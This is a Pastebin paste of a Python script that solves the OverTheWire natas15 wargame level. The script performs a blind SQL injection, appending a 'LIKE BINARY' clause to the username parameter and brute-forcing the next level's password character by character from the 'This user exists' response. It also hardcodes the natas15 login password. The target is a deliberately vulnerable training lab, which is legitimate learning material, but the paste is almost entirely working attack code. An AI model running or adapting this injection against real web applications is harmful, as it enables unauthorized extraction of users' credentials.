Advertisement
Guest User

natas15

a guest
Sep 20th, 2018
101
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.10 KB | None | 0 0
  1. import urllib.request
  2. import string
  3.  
  4. #variables setup
  5. url = 'http://natas15.natas.labs.overthewire.org'
  6. guess_list = string.digits+string.ascii_letters
  7. username = 'natas15'
  8. password = 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'
  9. natas16_pass = ''
  10. url_hack_format = 'http://natas15.natas.labs.overthewire.org/index.php?username=natas16%22%20and%20password%20LIKE%20BINARY%20%22!@#%'
  11.  
  12. #setup
  13. password_mgr = urllib.request.HTTPPasswordMgrWithDefaultRealm()
  14. password_mgr.add_password(None, url, username, password)
  15. handler = urllib.request.HTTPBasicAuthHandler(password_mgr)
  16. opener = urllib.request.build_opener(handler)
  17. urllib.request.install_opener(opener)
  18.  
  19. while(len(natas16_pass) <32):
  20.     for char in guess_list:
  21.         natas16_pass += char
  22.         url_hack = url_hack_format.replace('!@#',natas16_pass)
  23.         print('trying: ' + natas16_pass)
  24.         response = urllib.request.urlopen(url_hack).read()
  25.        
  26.         if 'This user exists' in str(response) :
  27.             print('starts with: ' + natas16_pass)
  28.             break
  29.         else:
  30.             print('not starts with: ' + natas16_pass)
  31.             natas16_pass = natas16_pass[0:len(natas16_pass)-1]
  32.  
  33. while True:
  34.     pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement